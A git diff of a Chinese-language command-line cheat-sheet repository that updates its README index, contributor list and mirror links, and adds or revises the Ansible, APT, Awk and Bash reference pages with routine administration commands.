[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0);&class=tag&data-lang=macOS-->
[Sublime Text](./docs/sublime-text.md)<!--rehype:style=background: rgb(223 148 0);-->
[VSCode](./docs/vscode.md)<!--rehype:style=background: rgb(91 163 230);-->
[Vim](./docs/vim.md)<!--rehype:style=background: rgb(9 150 8);-->
[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(32 148 220);-->
[XPath](./docs/xpath.md)<!--rehype:style=background: rgb(91 163 230);-->
[Xcode](./docs/xcode.md)<!--rehype:style=background: rgb(24 151 233);&class=tag&data-lang=macOS-->
<!--rehype:class=home-card-->
## Linux 命令
## 命令
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0/var(\-\-bg\-opacity));&class=contributing tag&data-lang=RedHad&data-info=👆看看还缺点儿什么?-->
[Awk](./docs/awk.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Conan](./docs/conan.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=tag&data-lang=C/C++-->
[Cargo](./docs/cargo.md)<!--rehype:style=background: rgb(71 71 71/var(\-\-bg\-opacity));&class=tag&data-lang=Rust-->
[Curl](./docs/curl.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));&class=contributing-->
[Git](./docs/git.md)<!--rehype:style=background: rgb(215 89 62/var(\-\-bg\-opacity));-->
[Grep](./docs/grep.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
[Htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Lsof](./docs/lsof.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
[YUM](./docs/yum.md)<!--rehype:style=background: rgb(86 86 123/var(\-\-bg\-opacity));-->
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0);&class=contributing tag&data-lang=RedHat&data-info=👆看看还缺点儿什么?-->
[Awk](./docs/awk.md)<!--rehype:style=background: rgb(16 185 129);-->
[Conan](./docs/conan.md)<!--rehype:style=background: rgb(0 193 9);&class=tag&data-lang=C/C++-->
[CocoaPods](./docs/cocoapods.md)<!--rehype:style=background: rgb(251 0 6);&class=tag&data-lang=C/C++-->
[Cargo](./docs/cargo.md)<!--rehype:style=background: rgb(71 71 71);&class=tag&data-lang=Rust-->
[Curl](./docs/curl.md)<!--rehype:style=background: rgb(16 185 129);-->
[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(16 185 129);-->
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68);-->
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192);&class=contributing-->
[Git](./docs/git.md)<!--rehype:style=background: rgb(215 89 62);-->
[Grep](./docs/grep.md)<!--rehype:style=background: rgb(16 185 129);-->
[Find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129);-->
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9);&class=contributing-->
[Htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129);-->
[Homebrew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87);&class=tag&data-lang=macOS-->
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129);-->
[jq](./docs/jq.md)<!--rehype:style=background: rgb(16 185 129);&class=tag&data-lang=JSON-->
[Lsof](./docs/lsof.md)<!--rehype:style=background: rgb(16 185 129);-->
[Mitmproxy](./docs/mitmproxy.md)<!--rehype:style=background: rgb(4 92 135);-->
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135);-->
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129);-->
[OpenSSL](./docs/openssl.md)<!--rehype:style=background: rgb(114 20 18);-->
[Systemd](./docs/systemd.md)<!--rehype:style=background: rgb(16 185 129);-->
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99);-->
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99);-->
[Sysdig](./docs/sysdig.md)<!--rehype:style=background: rgb(1 171 199);-->
[Tmux](./docs/tmux.md)<!--rehype:style=background: rgb(99 99 99);-->
[YUM](./docs/yum.md)<!--rehype:style=background: rgb(86 86 123);-->
[CMD](./docs/cmd.md)<!--rehype:style=background: rgb(99 99 99);-->
[APT](./docs/apt.md)<!--rehype:style=background: rgb(30 144 255);-->
[tar](./docs/tar.md)<!--rehype:style=background: rgb(215 89 62);-->
<!--rehype:class=home-card-->
## 其它
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Github Actions](./docs/github-actions.md)<!--rehype:style=background: rgb(121 184 255/var(\-\-bg\-opacity));-->
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=HTML-->
[ISO 639-1 Language Code](./docs/iso-639-1.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[MIME types](./docs/mime.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129);&class=tag&data-lang=排版说明-->
[Github Actions](./docs/github-actions.md)<!--rehype:style=background: rgb(121 184 255);-->
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129);&class=tag&data-lang=CSS-->
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129);-->
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129);&class=tag&data-lang=HTML-->
[ISO 639-1 Language Code](./docs/iso-639-1.md)<!--rehype:style=background: rgb(16 185 129);-->
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129);-->
[MIME types](./docs/mime.md)<!--rehype:style=background: rgb(16 185 129);-->
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129);-->
<!--rehype:class=home-card-->
## 看到缺少什么了吗?
@ -141,17 +174,165 @@ Quick Reference
[`我有一张备忘单(速查表)`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
<!--rehype:style=margin-top:3rem-->
<!--rehype:ignore:start-->
## 贡献
## 感谢所有贡献者
<!--rehype:wrap-style=text-align: center;max-width: 650px;margin: 0 auto;&class=home-title-reset-->
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
请参阅 [Quick Reference](./docs/quickreference.md) 了解如何开始。一如既往,感谢我们出色的贡献者!
<!--rehype:style=padding-bottom:1rem;-->
<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
<img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
</a>
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
</a>
<a href="https://github.com/mofelee" title="mofelee">
<img src="https://avatars.githubusercontent.com/u/5069410?v=4" width="42;" alt="mofelee"/>
</a>
<a href="https://github.com/Alex-Programer" title="Alex">
<img src="https://avatars.githubusercontent.com/u/115539090?v=4" width="42;" alt="Alex"/>
</a>
<a href="https://github.com/expoli" title="expoli">
<img src="https://avatars.githubusercontent.com/u/31023767?v=4" width="42;" alt="expoli"/>
</a>
<a href="https://github.com/JeffersonHuang" title="Jefferson">
<img src="https://avatars.githubusercontent.com/u/47512530?v=4" width="42;" alt="Jefferson"/>
</a>
<a href="https://github.com/sjh42" title="42:p">
<img src="https://avatars.githubusercontent.com/u/34529275?v=4" width="42;" alt="42:p"/>
</a>
<a href="https://github.com/partoneplay" title="partoneplay">
<img src="https://avatars.githubusercontent.com/u/5189132?v=4" width="42;" alt="partoneplay"/>
</a>
<a href="https://github.com/ryanhex53" title="ryanhex53">
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
</a>
<a href="https://github.com/catcto" title="喵仙人">
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
</a>
<a href="https://github.com/13812700839" title="花殇">
<img src="https://avatars.githubusercontent.com/u/58072506?v=4" width="42;" alt="花殇"/>
</a>
<a href="https://github.com/Smartdousha" title="Anko">
<img src="https://avatars.githubusercontent.com/u/52566311?v=4" width="42;" alt="Anko"/>
</a>
<a href="https://github.com/Brid9e" title="Brid9e">
<img src="https://avatars.githubusercontent.com/u/85558909?v=4" width="42;" alt="Brid9e"/>
</a>
<a href="https://github.com/CharlotteZeng" title="Chart">
<img src="https://avatars.githubusercontent.com/u/19461184?v=4" width="42;" alt="Chart"/>
</a>
<a href="https://github.com/DaiNing810" title="DaiN">
<img src="https://avatars.githubusercontent.com/u/94962339?v=4" width="42;" alt="DaiN"/>
</a>
<a href="https://github.com/demigodliu" title="DemigodLiu">
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
</a>
<a href="https://github.com/jasnzhuang" title="Jason Zhuang">
<img src="https://avatars.githubusercontent.com/u/16612921?v=4" width="42;" alt="Jason Zhuang"/>
</a>
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
</a>
<a href="https://github.com/Lihuagreek" title="Lihuagreek">
<img src="https://avatars.githubusercontent.com/u/51040740?v=4" width="42;" alt="Lihuagreek"/>
</a>
<a href="https://github.com/LufsX" title="LufsX">
<img src="https://avatars.githubusercontent.com/u/33221883?v=4" width="42;" alt="LufsX"/>
</a>
<a href="https://github.com/mariuszmichalowski" title="Mariusz Michalowski">
<img src="https://avatars.githubusercontent.com/u/92091891?v=4" width="42;" alt="Mariusz Michalowski"/>
</a>
<a href="https://github.com/HanaNoryu" title="Noryu">
<img src="https://avatars.githubusercontent.com/u/109856546?v=4" width="42;" alt="Noryu"/>
</a>
<a href="https://github.com/whb1998a" title="WHB">
<img src="https://avatars.githubusercontent.com/u/44045064?v=4" width="42;" alt="WHB"/>
</a>
<a href="https://github.com/y52y" title="Zyj">
<img src="https://avatars.githubusercontent.com/u/51304324?v=4" width="42;" alt="Zyj"/>
</a>
<a href="https://github.com/chyok" title="chyok">
<img src="https://avatars.githubusercontent.com/u/32629225?v=4" width="42;" alt="chyok"/>
</a>
<a href="https://github.com/gaoxiaoduan" title="coderduan">
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
</a>
<a href="https://github.com/cool9203" title="cool9203">
<img src="https://avatars.githubusercontent.com/u/29609607?v=4" width="42;" alt="cool9203"/>
</a>
<a href="https://github.com/godotc" title="godotc">
<img src="https://avatars.githubusercontent.com/u/79260851?v=4" width="42;" alt="godotc"/>
</a>
<a href="https://github.com/greyhao" title="greyhao">
<img src="https://avatars.githubusercontent.com/u/107107440?v=4" width="42;" alt="greyhao"/>
</a>
<a href="https://github.com/hua03" title="hua03">
<img src="https://avatars.githubusercontent.com/u/19561959?v=4" width="42;" alt="hua03"/>
</a>
<a href="https://github.com/hweining" title="hweining">
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
</a>
<a href="https://github.com/k983551019" title="k983551019">
<img src="https://avatars.githubusercontent.com/u/48147837?v=4" width="42;" alt="k983551019"/>
</a>
<a href="https://github.com/kdxcxs" title="kdxcxs">
<img src="https://avatars.githubusercontent.com/u/18746192?v=4" width="42;" alt="kdxcxs"/>
</a>
<a href="https://github.com/larry-xue" title="larry">
<img src="https://avatars.githubusercontent.com/u/48818060?v=4" width="42;" alt="larry"/>
</a>
<a href="https://github.com/liliangrong777" title="liliangrong777">
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
</a>
<a href="https://github.com/lykjjj" title="lykjjj">
<img src="https://avatars.githubusercontent.com/u/58510058?v=4" width="42;" alt="lykjjj"/>
</a>
<a href="https://github.com/mancuoj" title="mancuoj">
<img src="https://avatars.githubusercontent.com/u/45707684?v=4" width="42;" alt="mancuoj"/>
</a>
<a href="https://github.com/onewesong" title="onewesong">
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
</a>
<a href="https://github.com/wjjwkwindy" title="wjjwkwindy">
<img src="https://avatars.githubusercontent.com/u/9508591?v=4" width="42;" alt="wjjwkwindy"/>
</a>
<a href="https://github.com/xing133" title="xing133">
<img src="https://avatars.githubusercontent.com/u/5336490?v=4" width="42;" alt="xing133"/>
</a>
<a href="https://github.com/zxx-457" title="zxx-457">
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
</a>
<a href="https://github.com/lvzhenbo" title="吕振波">
<img src="https://avatars.githubusercontent.com/u/32427677?v=4" width="42;" alt="吕振波"/>
</a>
<a href="https://github.com/qyl27" title="秋雨落">
<img src="https://avatars.githubusercontent.com/u/53731501?v=4" width="42;" alt="秋雨落"/>
</a>
<a href="https://github.com/lisheng741" title="芦荟柚子茶">
<img src="https://avatars.githubusercontent.com/u/53617305?v=4" width="42;" alt="芦荟柚子茶"/>
</a><!--GAMFC-END-->
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成
<!--rehype:style=padding-top:1rem;-->
## 国内镜像网站
<!--rehype:wrap-style=text-align: center;max-width: 650px;margin: 0 auto;&class=home-title-reset-->
由于中国国内访问,时常打不开,你可以访问下面镜像网站。推荐自己的[镜像网站](https://github.com/jaywcjlove/reference/issues/102#issue-1451649637)
[ecdata.cn](http://ref.ecdata.cn)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[mofe.io](http://quickref.mofe.io)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[aibk.cn](https://quickref.aibk.cn)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[laoleng.vip](http://bbs.laoleng.vip/reference/)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[liujiapeng.com](https://www.liujiapeng.com/)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[dbyun.net](https://www.dbyun.net/reference/index.html)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;-->
[cyolc932.fun](https://cyolc932.fun/reference/)<!--rehype:target=_blank&style=background: rgb(16 185 129);height: 2.6rem;border-radius: 2rem;font-weight: bold;&class=contributing tag&data-info=👆需要梯子-->
<!--rehype:class=home-card&style=margin:2.2rem 0;display: flex;justify-content: center;gap: 1rem;flex-wrap: wrap;-->
如果你有资源,可以很方便部署 web 版,这非常简单,只需要克隆 gh-pages 分支代码到你的静态服务就可以了,还可以使用 [docker](https://hub.docker.com/r/wcjiang/reference) 快捷部署 web 版。
<!--rehype:ignore:start-->
## License
MIT © [Kenny Wong](https://github.com/jaywcjlove)

View File

@ -18,7 +18,6 @@ Ansible 备忘清单
- [Ansible 官方文档](https://docs.ansible.com)
### 配置位置
文件路径 | 说明
@ -27,12 +26,12 @@ Ansible 备忘清单
`~/ansible.cfg` | 用户特定的配置
`$pwd/ansible.cfg` | 当前目录下的配置
### Inventory文件(hosts列表)
#### 静态Inventory
`/etc/ansible/hosts`
```INI
mail.example.com
@ -41,6 +40,41 @@ foo.example.com
bar.example.com
```
### Inventory 主机组使用多个IP和域名
```
[web]
172.18.12.5[1:4]
[webservers]
www[01:50].example.com
```
### Inventory 主机组使用子主机组
```ini
[usa:children]
southeast
northeast
southwest
northwest
```
### 给多台主机设置变量
`group variables`
如果组中的所有主机共享一个变量值,则可以一次将该变量应用于整个组
```ini
[atlanta]
host1
host2
[atlanta:vars]
ntp_server=ntp.atlanta.example.com
proxy=proxy.atlanta.example.com
```
## 命令行(ad-hoc)
### ansible
@ -50,6 +84,7 @@ bar.example.com
```shell
$ ansible all --list-hosts
```
ping所有目标
```shell
@ -72,19 +107,19 @@ $ ansible all -i localhost, -e '{"ansible_connection": "local"}' -a 'hostname'
```shell
$ ansible all -i localhost, -e '{"ansible_connection": "local"}' -m setup
```
```
<!--rehype:className=wrap-text -->
获取远程到本地
```shell
$ ansible target -m fetch -a "src=/tmp/seq dest=/tmp/seq"
```
```
<!--rehype:className=wrap-text -->
拷贝本地到远程
```shell
$ ansible target -m copy -a "src=/tmp/seq dest=/tmp/seq"
```
```
<!--rehype:className=wrap-text -->
### Ansible 命令帮助
@ -95,7 +130,7 @@ $ ansible
$ ansible <host-pattern> [options]
```
----
---
:- | -
:- | -
@ -183,7 +218,6 @@ $ ansible-galaxy init --offline <ROLE>
```
<!--rehype:className=wrap-text-->
### ansible-doc
在本地访问文档
@ -205,13 +239,13 @@ $ ansible-doc [options] [module...]
`--version` | 显示程序的版本号并退出
<!--rehype:className=style-list-->
### ansible-vault
```bash
$ ansible-vault
$ ansible-vault [create|decrypt|edit|encrypt|rekey|view] [--help] [options] vaultfile.yml
```
---
:- | -
@ -232,6 +266,7 @@ $ ansible-vault [create|decrypt|edit|encrypt|rekey|view] [--help] [options] vaul
$ ansible-playbook
$ ansible-playbook playbook.yml
```
---
:- | -
@ -293,13 +328,14 @@ $ ansible-playbook playbook.yml
`-K`, `--ask-become-pass` | 要求提权密码
<!--rehype:className=style-list-->
### ansible-pull
### ansible-pull
<!--rehype:wrap-class=row-span-2-->
```bash
$ ansible-pull
$ ansible-pull -U <repository> [options]
```
---
:- | -
@ -358,10 +394,10 @@ $ ansible-pull -U <repository> [options]
<!-- ### ansible-playbook -->
<!-- todo -->
另见
---
[Getting started with Ansible](https://docs.ansible.com/ansible/latest/getting_started/index.html)
[Introduction to ad hoc commands](https://docs.ansible.com/ansible/latest/user_guide/intro_adhoc.html)
[Ansible cheatsheet](https://github.com/luckylittle/ansible-cheatsheet/blob/master/ansible-cheatsheet.txt)
- [Getting started with Ansible](https://docs.ansible.com/ansible/latest/getting_started/index.html)
- [Introduction to ad hoc commands](https://docs.ansible.com/ansible/latest/user_guide/intro_adhoc.html)
- [Ansible cheatsheet](https://github.com/luckylittle/ansible-cheatsheet/blob/master/ansible-cheatsheet.txt)
- [Ansible Tutorial for Beginners: Ultimate Playbook & Examples](https://spacelift.io/blog/ansible-tutorial)

206
docs/apt.md Normal file
View File

@ -0,0 +1,206 @@
APT 备忘清单
===
这个 APT 快速参考备忘单显示了它的常用命令使用清单。
APT 清单查询
---
### 介绍
<!--rehype:wrap-class=row-span-2-->
APT`A`dvanced `P`ackaging `T`ools`Debian`及其派生的`Linux`软件包管理器。APT可以自动下载配置安装二进制或者源代码格式的软件包因此简化了Unix系统上管理软件的过程。APT最早被设计成`dpkg的前端`用来处理deb格式的软件包。现在经过`APT-RPM`组织修改APT已经可以安装在支持RPM的系统管理RPM包。
它结合了apt-get和apt-cache工具中最常用的命令以及选项与默认值。`apt`命令必须以具有`sudo`权限的用户运行。
命令语法格式
```bash
$ apt [ OPTIONS ] COMMAND
```
----
相关参考文献
- [APT8 官方网站](https://manpages.debian.org/unstable/apt/apt.8.en.html)
- [apt.conf(5) 官方文档](https://manpages.debian.org/unstable/apt/apt.conf.5.en.html)
- [sources.list(5) 官方文档](https://manpages.debian.org/unstable/apt/sources.list.5.en.html)
### 命令查询
子命令描述和任务,显示 apt 命令和选项。
```bash
$ apt -h or --help
# 或
$ apt
```
查看指令用法
```bash
$ man apt
```
### update
从APT存储库中获取最新索引数据。
```bash
$ sudo apt update
```
在升级或安装新软件包之前,建议始终先运行一次更新软件包索引。
### upgrade
将安装的软件包升级到最新版本,该命令不会升级那些已删除软件包的依赖。
```bash
$ sudo apt upgrade
```
升级单个软件包。
```bash
$ sudo apt upgrade package_name
```
升级整个系统,则会删除当前安装的软件包。
```bash
$ sudo apt full-upgrade
```
### install
安装软件包。
```bash
$ sudo apt install package_name
```
如果只想升级,不要安装
```bash
$ sudo apt install <package_name> --only-upgrade
```
<!--rehype:className=wrap-text -->
安装多个软件包,包名用空格分隔。
```bash
$ sudo apt install package1 package2
```
安装本地deb文件提供文件的完整路径。否则apt命令将尝试从APT存储库中检索并安装软件包。
`Deb是所有基于Debian的发行版使用的安装软件包格式`
```bash
$ sudo apt install /full/path/file.deb
```
### remove和purge
<!--rehype:wrap-class=row-span-2-->
要删除已安装的程序包你可以使用apt子命令`remove``purge`
#### remove
remove子命令将卸载指定的软件包`但可能会留下一些配置文件`
通过remove方式卸载的软件包可以通过重新安装软件包来恢复因为个人配置文件还在本地。
卸载指定的软件包
```bash
$ sudo apt remove package_name
```
指定多个软件包,以空格分隔
```bash
$ sudo apt remove package1 package2
```
#### purge
purge子命令将卸载指定的软件包和配置文件。
```bash
$ sudo apt purge package_name
```
### autoremove自动删除依赖
用于删除自动安装的包,这些包都是为了满足其他包的依赖关系,现在不再需要这些包,因为依赖关系已更改或者同时删除了需要它们的包。
```bash
$ sudo apt autoremove
```
### list
<!--rehype:wrap-class=row-span-2-->
打印所有软件包的列表,包括软件包的版本和结构的信息。
```bash
$ sudo apt list
```
要确定是否安装了指定的软件包可以使用grep命令过滤输出。
```bash
$ sudo apt list | grep package_name
```
仅列出已安装的软件包。
```bash
$ sudo apt list --installed
```
获取可升级软件包的列表。
```bash
$ sudo apt list --upgradeable
```
### 搜索查找软件包详细信息
#### search
在可用软件源列表中搜索指定的软件包。如果找到该软件包,则将返回名称与搜索词匹配的软件包。
```bash
$ sudo apt search package_name
```
#### show
显示有关给定软件包的信息,包括其依赖项、安装、下载大小、软件包可用的来源、软件包内容的描述等。
```bash
$ sudo apt show package_name
```
### edit-sources 快速换源
允许您在首选的文本编辑器中编辑`sources.list(5)` 文件,同时还提供基本的健全性检查。
首次换源可以使用`edit-sources`
```bash
$ sudo apt show edit-sources
```
换源后更新一下软件包索引。
```bash
$ sudo apt update
```
之后可以使用`select-editor`更换默认编辑器
```bash
$ sudo select-editor
```

View File

@ -25,7 +25,7 @@ $ awk -F: '{print $1, $NF}' /etc/passwd
| | `$NF` | 最后一个字段 |
| | `/etc/passwd` | 输入数据文件 |
### Awk 程序
### Awk 程序
```bash
BEGIN {<初始化>}
@ -59,7 +59,8 @@ $0/NR ▶ │ 1 │ baidu.com │ awk │
$0/NR ▶ │ 2 │ google.com │ 25
└──────┴──────────────┴───────┘
```
---
----
```shell
# 第一个和最后一个字段
@ -253,7 +254,6 @@ awk -v varName="$PWD" '
END {print varName}' </dev/null
```
Awk 运算符
---------
@ -291,17 +291,17 @@ Awk 运算符
- `*`
- `/`
- `%`
- `++`
- `--`
- `++`
- `--`
<!--rehype:className=cols-3 style-none-->
#### 速记作业
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
<!--rehype:className=cols-3 style-none-->
#### 比较运算符
@ -366,7 +366,6 @@ Awk 函数
`toupper(s)` | 字符串 `s` 转大写
`getline` | 将 `$0` 设置为当前输入文件中的下一个输入记录
### 用户定义函数
```shell
@ -424,7 +423,6 @@ awk 'BEGIN {
}'
```
### 带拆分的数组
```shell
@ -536,7 +534,6 @@ awk -F: '{
}' /etc/passwd
```
Awk 循环
----------
@ -744,6 +741,7 @@ daemon /sbin
-------------
### 正则表达式元字符
- `\`
- `^`
- `$`
@ -785,4 +783,4 @@ $ awk -f demo.awk /etc/passwd
--------
- [GNU awk 用户指南](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_

View File

@ -27,9 +27,9 @@ NAME="John"
echo ${NAME} # => John (变量)
echo $NAME # => John (变量)
echo "$NAME" # => John (变量)
echo '$NAME' # => $NAME (确切的字符串)
echo '$NAME' # => $NAME (字符串原样输出)
echo "${NAME}!" # => John! (变量)
NAME = "John" # => Error (关于空间)
NAME = "John" # => Error (注意不能有空格)
```
### 注释
@ -39,8 +39,8 @@ NAME = "John" # => Error (关于空间)
: '
这是一个
非常整洁的评论
bash
非常整洁的
bash 注释
'
```
@ -53,18 +53,17 @@ NAME = "John" # => Error (关于空间)
:-|-
`$1``$9` | 参数 1 ... 9
`$0` | 脚本本身的名称
`$1` | 第一个论点
`$1` | 第一个参数
`${10}` | 位置参数 10
`$#` | 参数数量
`$$` | shell 的进程 id
`$*` | 所有论据
`$*` | 所有参数
`$@` | 所有参数,从第一个开始
`$-` | 当前选项
`$_` | 上一个命令的最后一个参数
见:[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)
### 函数
```bash
@ -204,7 +203,7 @@ DIRPATH=${SRC%$BASEPATH}
echo $DIRPATH # => "/path/to/"
```
### Transform
### Transform
```bash
STR="HELLO WORLD!"
@ -220,7 +219,7 @@ echo "${ARR[@],}" # => hello world
echo "${ARR[@]^}" # => Hello World
```
Bash 数组
Bash 数组
------
### 定义数组
@ -247,14 +246,14 @@ Numbers+=(4 5) # 附加 => 1 2 3 4 5
:- | -
:- | -
`${Fruits[0]}` | 第一个元素
`${Fruits[-1]}` | 最后一个元素
`${Fruits[*]}` | 所有元素
`${Fruits[@]}` | 所有元素
`${#Fruits[@]}` | 总数
`${#Fruits}` | 第一节长度
`${#Fruits[3]}` | 第n个长度
`${Fruits[@]:3:2}` | 范围
`${Fruits[0]}` | 第一个元素
`${Fruits[-1]}` | 最后一个元素
`${Fruits[*]}` | 所有元素
`${Fruits[@]}` | 所有元素
`${#Fruits[@]}` | 总数
`${#Fruits}` | 第一节长度
`${#Fruits[3]}` | 第n个长度
`${Fruits[@]:3:2}` | 范围
`${!Fruits[@]}` | 所有 Key
### 迭代 Iteration
@ -265,7 +264,9 @@ for e in "${Fruits[@]}"; do
echo $e
done
```
#### With index
```bash
for i in "${!Fruits[@]}"; do
printf "%s\t%s\n" "$i" "${Fruits[$i]}"
@ -276,8 +277,8 @@ done
<!--rehype:wrap-class=col-span-2-->
```bash
Fruits=("${Fruits[@]}" "Watermelon") #
Fruits+=('Watermelon') # 也
Fruits=("${Fruits[@]}" "Watermelon") # 添加
Fruits+=('Watermelon') # 也是添加
Fruits=( ${Fruits[@]/Ap*/} ) # 通过正则表达式匹配删除
unset Fruits[2] # 删除一项
Fruits=("${Fruits[@]}") # 复制
@ -349,14 +350,14 @@ Bash 条件句
:- | -
`[[ NUM -eq NUM ]]` | 等于 <yel>Eq</yel>ual |
`[[ NUM -ne NUM ]]` | 不等于 <yel>N</yel>ot <yel>e</yel>qual |
`[[ NUM -lt NUM ]]` | <yel>L</yel>ess <yel>t</yel>han |
`[[ NUM -le NUM ]]` | 小于等于 <yel>L</yel>ess than or <yel>e</yel>qual |
`[[ NUM -lt NUM ]]` | <yel>L</yel>ess <yel>t</yel>han |
`[[ NUM -le NUM ]]` | 小于等于 <yel>L</yel>ess than or <yel>e</yel>qual |
`[[ NUM -gt NUM ]]` | 大于 <yel>G</yel>reater <yel>t</yel>han |
`[[ NUM -ge NUM ]]` | 大于等于 <yel>G</yel>reater than or <yel>e</yel>qual |
`(( NUM < NUM ))` |
`[[ NUM -ge NUM ]]` | 大于等于 <yel>G</yel>reater than or <yel>e</yel>qual |
`(( NUM < NUM ))` |
`(( NUM <= NUM ))` | 小于或等于
`(( NUM > NUM ))` | 比...更
`(( NUM >= NUM ))` | 大于等于
`(( NUM > NUM ))` | 比...更
`(( NUM >= NUM ))` | 大于等于
### 字符串条件
@ -364,7 +365,7 @@ Bash 条件句
:- | -
`[[ -z STR ]]` | 空字符串
